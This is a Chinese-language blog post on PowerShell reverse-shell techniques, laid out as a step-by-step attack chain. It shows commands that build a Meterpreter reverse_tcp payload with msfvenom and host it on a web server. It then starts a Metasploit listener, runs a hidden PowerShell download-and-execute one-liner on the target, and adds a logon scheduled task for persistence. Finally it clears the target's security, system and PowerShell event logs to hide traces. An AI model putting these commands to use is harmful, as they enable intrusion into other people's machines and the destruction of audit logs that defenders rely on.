• PowerShell 反弹渗透技巧


    Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术,同时也包含了数种系统管理工具、简易且一致的语法,提升管理者的管理能力,自Windows 7 开始一直到Windows 10 包括服务器Windows Server 系统中,都将内置 PowerShell,其可作为白名单的一种绕过方式,也让渗透变得更加有趣。

    PowerShell 基本反弹

    1. 生成PowerShell 脚本文件 shell.ps1 并将其放入到Web服务器目录下。
    [root@localhost ~]# msfvenom -a x86 --platform Windows 
    >                              -p windows/meterpreter/reverse_tcp 
    >                              -b 'x00x0b' LHOST=192.168.1.30 LPORT=9999 -f psh-cmd > shell.ps1
    
    [root@localhost ~]# cp -a shell.ps1 /var/www/html/
    [root@localhost ~]# systemctl restart httpd
    

    2.MSF运行侦听事件,执行如下命令。

    msf5 > use exploit/multi/handler 
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.30
    msf5 exploit(multi/handler) > set lport 9999
    msf5 exploit(multi/handler) > exploit -j -z
    

    3.在靶机执行以下命令,即可完成上线。

    C://> powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://lyshark.com/shell.ps1');shell.ps1"
    C://> powershell.exe wget "http://lyshark.com/shell.exe" -outfile "C:shell.exe"
    
    C://> schtasks /create /tn "PowerShell" /tr "这里存放待执行任务" /sc ONLOGON       创建计划任务
    

    4.为防止暴露痕迹,在执行完命令后,需要在靶机执行以下命令,清理痕迹.

    Microsoft Windows [版本 10.0.17763.316]
    (c) 2018 Microsoft Corporation。保留所有权利。
    
    C:Userslyshark>wevtutil cl "windows powershell"
    C:Userslyshark>wevtutil cl "security"
    C:Userslyshark>wevtutil cl "system"
    
  • 相关阅读:
    Docker为PHP安装gd扩展
    git修改远端仓库地址
    Oracle11g R2学习系列 之四Maven+Struts+Spring实验
    Oracle11g R2学习系列 之三教程选择
    Oracle11g R2学习系列 之二基本概念和环境介绍
    西雅图之行
    Oracle11g R2学习系列 之一安装篇
    Startcom SSL证书申请 IIS设置 配置 攻略
    StartCom 申请 SSL 证书及 Nginx HTTPS 支持配置全攻略
    没有了SA密码,无法Windows集成身份登录,DBA怎么办?
  • 原文地址:https://www.cnblogs.com/LyShark/p/11360170.html
Copyright © 2020-2023  润新知